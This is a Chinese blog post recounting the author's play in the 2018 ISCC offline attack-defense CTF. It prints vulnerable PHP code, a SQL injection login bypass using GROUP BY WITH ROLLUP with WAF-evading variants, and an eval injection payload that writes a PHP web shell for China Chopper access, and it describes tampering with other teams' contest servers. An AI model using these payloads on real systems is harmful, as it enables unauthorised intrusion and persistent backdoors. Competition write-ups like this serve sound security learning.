2018-iscc线下
Jul 17, 2018 09:54 · 212 words · 1 minute read
前
早上
早上是选择题和3道ctf题,就不多说了.
AD
中午12点开放ad环境,iscc的赛制是自己队伍的私地也需要自己搞定.访问自己的IP后,是一个登录框.
尝试万能密码登录,结果出现一个表清包,抓包分析,在响应头看到hint:hint.txt,访问得到了部分源码
<?php
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql);
if (mysqli_num_rows($query) == 1) {
$key = mysqli_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
echo "xxxxxxxxx";
}else{
echo "你这密码不太对啊";
}
}else if(mysqli_num_rows($query) == 0){
echo "你这密码不太对啊";
}
else{
echo "数据太多了";
}
似曾相熟的源码,和实验吧的一道题很相似,是利用group by…with rollup来绕过
group by…with rollup:
mysql> select * from user;
+------+-------+------+
| id | uname | pwd |
+------+-------+------+
| 1 | admin | 12 |
+------+-------+------+
1 row in set (0.00 sec)
mysql> select * from user group by pwd with rollup;
+------+-------+------+
| id | uname | pwd |
+------+-------+------+
| 1 | admin | 12 |
| 1 | admin | NULL |
+------+-------+------+
2 rows in set (0.00 sec)
由上的结果可以发现,我们可以将查询的pwd填充为空,那么我们构造这样的uname
uname : 1' or 1=1 group by pwd with rollup limit 1,1#
最终的sql语句就会变成这样
SELECT pwd FROM user WHERE uname = '1' or 1=1 group by pwd with rollup limit 1,1#'
取出的pwd就为NULL
,这时我们的密码留空即可.
在本地测试可以登录,实际测试时还是出现表情包,可能是有waf.
测试发现waf将or and union sleep && || ,
都过滤掉了.
,
可以用offset来代替,or 可以使用 '=0
来代替,最终的uname如下
uname: '=0 group by pwd with rollup limit 1 offset 1#
密码留空
登录后给出一串字符
+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-
刚开始以为是xxencode编码,真的很像,但是解码的时候失败了,最后发现是utf-7编码…在这里卡了挺久的…最终解码后是一个路径
8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php
访问得
<?php
show_source( __FILE__);
$a = @$_REQUEST['a'];
@eval("var_dump($$a);");
一个很简单的任意代码执行,构造paylaod如下
http://192.168.36.147/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php?a=a);fwrite(fopen("aa.php", "w"),"<?php @eval(\$_POST['cms']); ?>");phpinfo(
写入shell,菜刀连接即可.连接后赶紧补了自己的洞,这个时候都3点了,已经被打几轮了.(主要编码那个浪费很多时间,心塞)
然后我尝试访问其他选手的私地IP发现连不上去,以为要做端口转发,把ew用菜刀传上去,结果不能执行?????然后又卡住了,一直在找别的办法打别人的私地.
1. 尝试端口转发,但是ew始终无法执行
2. 在菜刀的终端里,尝试直接用curl访问别的队伍,确实可以访问,但是可能是因为payload里有特殊字符,导致无法传参过去??又卡住了..
就这样折腾到了5点,还是没有打到别人,这时候对面选手的网络出现了问题,主办方有人过来修理,我想是不是我的网络也出现问题,于是问对面选手,才知道,拿下私地后,要联系主办方,主办方会给服务器的账号密码,并且开放访问别的队伍的权限(……) 联系主办方后,迅速筛选还没有修补漏洞的选手的IP然后使用hereiam -t 队伍签名
命令拿分.
我用菜刀连上别的队伍的私地后,发现并没有队伍修改别人私地漏洞的参数,就是$a = @$_REQUEST['a'];
中的a,(大佬们都好善良),
于是我就悄悄的把所用能打的队伍的参数全部替换成yang
了,然后把show_source
注释掉了,帮他们修补漏洞.嘻嘻嘻.
下一轮开始的时候,听到有人说 怎么payload打不到了,页面也变空白了.哈哈哈哈.
但是由于之前没有搞清楚赛制,浪费了很多时间,错过了好几轮.(心塞)
后记
下次比赛一定要先熟悉赛制,吃过的亏不能吃第二遍了.